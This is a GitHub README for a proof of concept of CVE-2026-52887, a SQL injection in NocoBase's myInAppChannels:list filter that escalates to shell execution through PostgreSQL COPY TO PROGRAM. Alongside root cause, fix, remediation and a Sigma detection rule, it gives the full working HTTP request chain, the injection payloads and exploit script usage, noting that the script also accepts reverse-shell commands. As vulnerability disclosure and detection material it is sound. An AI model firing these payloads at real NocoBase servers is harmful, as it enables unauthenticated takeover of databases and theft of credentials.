Skip to content

Latest commit

 

History

2 Commits

Folders and files

NameName
Last commit message
Last commit date
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

CVE-2026-52887 — NocoBase SQL Injection → PostgreSQL-superuser RCE

SQL injection in the myInAppChannels:list action of NocoBase's @nocobase/plugin-notification-in-app-message (≤ 2.0.60). The filter[latestMsgReceiveTimestamp][$lt] request parameter is interpolated directly into a raw Sequelize.literal() SQL string with no escaping or binding. Via the PostgreSQL pg driver's stacked-statement support the injection reaches COPY … TO PROGRAM, and because the vendor's default compose creates the nocobase DB role as a superuser, that yields shell command execution as the postgres OS user. The endpoint requires a logged-in user, but the default auth-basic plugin ships with self-signup enabled, so any anonymous visitor can register and reach it.

CVE CVE-2026-52887
Product NocoBase (@nocobase/plugin-notification-in-app-message)
Affected ≤ 2.0.60 (verified on nocobase/nocobase:2.0.57)
Fixed 2.0.61
Class SQL Injection (CWE-89) → OS command execution
CVSS 3.1 10.0 CRITICAL — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H (GitHub CNA)
Auth Effectively unauthenticated — default auth-basic allowSignUp: true
Status CONFIRMED VULNERABLE — verified end-to-end on 2.0.57

Root cause

packages/plugins/@nocobase/plugin-notification-in-app-message/src/server/defineMyInAppChannels.ts, myInAppChannels:list handler (2.0.57):

const latestMsgReceiveTSFilter = filter?.latestMsgReceiveTimestamp?.$lt
    ? Sequelize.literal(`${latestMsgReceiveTimestampSQL} < ${filter.latestMsgReceiveTimestamp.$lt}`)
    : null;

filter.latestMsgReceiveTimestamp.$lt comes straight from the request query (filter[latestMsgReceiveTimestamp][$lt]=…) and is concatenated into a Sequelize.literal() — raw SQL, no parameter binding, no type coercion. An attacker closes the comparison and appends arbitrary SQL.

From SQLi to RCE

  • NocoBase runs on PostgreSQL via the pg driver, which permits stacked statements (… ; …). The injected fragment appends a second statement.
  • The vendor's default docker-compose.yml creates the nocobase role via the postgres image's POSTGRES_USER, which is always a superuser.
  • A superuser can run COPY (…) TO PROGRAM '<shell>', executing <shell> as the postgres OS user inside the DB container.

Reaching the endpoint unauthenticated

The myInAppChannels ACL is loggedIn, but the default auth-basic plugin ships with allowSignUp: true. An anonymous attacker self-registers (POST /api/auth:signUp?authenticator=basic), signs in for a bearer token, and proceeds — so on a default install this is unauthenticated in practice.

The fix (2.0.61)

defineMyInAppChannels.ts adds parseLatestMsgReceiveTimestampLt(), which forces the value through Number() (rejecting non-finite / non-numeric input with a 400) and switches to a bound comparison:

Sequelize.where(Sequelize.literal(latestMsgReceiveTimestampSQL), Op.lt, latestMsgReceiveTimestampLt)

Proof of concept

$ python3 exploit.py -u http://127.0.0.1:13000 --cmd "id > /tmp/proof 2>&1"
[+] self-registered 'lab_operator' via auth-basic signUp
[+] signed in, bearer token acquired
[*] time-based: PG_SLEEP(5)=5.03s  control=0.02s
[+] SQL injection confirmed (time-based)
[+] COPY TO PROGRAM sent (HTTP 200) - 'id > /tmp/proof 2>&1' executed as the postgres OS user

$ docker exec nb-pg cat /tmp/proof
uid=999(postgres) gid=999(postgres) groups=999(postgres),101(ssl-cert)

Raw HTTP chain:

POST /api/auth:signUp?authenticator=basic          {"username":"a","password":"P!ssw0rd1","confirm_password":"P!ssw0rd1"}
POST /api/auth:signIn?authenticator=basic           {"account":"a","password":"P!ssw0rd1"}  → {"data":{"token":"…"}}

# time-based oracle (≈5s delay):
GET /api/myInAppChannels:list?filter[latestMsgReceiveTimestamp][$lt]=0)%20AND%201=(SELECT%201%20FROM%20PG_SLEEP(5))--%20a
Authorization: Bearer <token>

# stacked-statement RCE:
GET /api/myInAppChannels:list?filter[latestMsgReceiveTimestamp][$lt]=0);%20COPY%20(SELECT%201)%20TO%20PROGRAM%20'id%20>%20/tmp/proof'; --%20a
Authorization: Bearer <token>

--cmd accepts any shell command (reverse shell, OAST callback, reading DB rows via COPY (SELECT …) TO PROGRAM 'cat > /tmp/x', etc.).

Reproduce the lab

No docker bridge on this host, so run both containers with host networking:

docker run -d --name nb-pg --network host \
  -e POSTGRES_USER=nocobase -e POSTGRES_PASSWORD=nocobase -e POSTGRES_DB=nocobase postgres:16
docker run -d --name nb-app --network host \
  -e DB_DIALECT=postgres -e DB_HOST=127.0.0.1 -e DB_PORT=5432 \
  -e DB_DATABASE=nocobase -e DB_USER=nocobase -e DB_PASSWORD=nocobase \
  -e APP_KEY=change-me -e APP_PORT=13000 nocobase/nocobase:2.0.57
# NocoBase auto-installs and serves on http://127.0.0.1:13000
python3 exploit.py -u http://127.0.0.1:13000 --cmd "id > /tmp/proof 2>&1"
docker exec nb-pg cat /tmp/proof

Fixed-version boundary (rejected):

docker run ... nocobase/nocobase:2.0.61   # same steps
# the PG_SLEEP / COPY TO PROGRAM payloads return HTTP 400; a numeric $lt still returns 200

See EVIDENCE.txt for the captured transcript and ANALYSIS.md for the source-level walkthrough.

Verdict

CONFIRMED VULNERABLE on nocobase/nocobase:2.0.57, verified by two independent techniques:

  1. Time-based blind — the PG_SLEEP(5) payload delays the response ~5.0s while an identical request without the sleep returns in ~0.03s on the same endpoint (rules out a rate limiter / retry artifact).
  2. Stacked-statement RCE — a file that did not exist before the request contains uid=999(postgres) gid=999(postgres), the real output of id(1) run as the postgres OS user, not an echo of the payload.

PATCHED on nocobase/nocobase:2.0.61 — both payloads return HTTP 400 while a numeric $lt still returns 200.

Impact

Remote code execution as the postgres OS user inside the database container: full read/write of the NocoBase database, disclosure of every stored secret and user credential, and a foothold for lateral movement. Reachable by any anonymous visitor on a default install.

Remediation

  • Upgrade to NocoBase ≥ 2.0.61.
  • Do not run the application's PostgreSQL role as a superuser; grant only the privileges the app needs (removes the COPY … TO PROGRAM primitive).
  • Disable public self-signup (allowSignUp: false) where not required.

Detection

myInAppChannels:list requests whose filter[latestMsgReceiveTimestamp][$lt] value is not a plain number, and PostgreSQL logs containing COPY … TO PROGRAM:

GET /api/myInAppChannels:list  with filter[latestMsgReceiveTimestamp][$lt] containing
   non-numeric characters: ')', ';', 'SELECT', 'PG_SLEEP', 'COPY', '--'
postgres: statement: COPY (...) TO PROGRAM '...'

Sigma (webserver access log):

title: NocoBase myInAppChannels SQL injection (CVE-2026-52887)
logsource: { category: webserver }
detection:
  selection:
    cs-uri-stem|contains: '/api/myInAppChannels:list'
    cs-uri-query|contains:
      - 'PG_SLEEP'
      - 'TO PROGRAM'
      - '$lt]=0)'
      - '$lt]=0);'
  condition: selection
level: critical

License

MIT. © Caio Fabrício (BiiTts).

About

CVE-2026-52887 — NocoBase SQL injection -> PostgreSQL-superuser RCE (myInAppChannels:list filter, CVSS 10.0). Author PoC + source analysis + docker lab.

Topics

Resources

Stars

0 stars

Watchers

0 watching

Forks

Releases

Packages

Contributors

Languages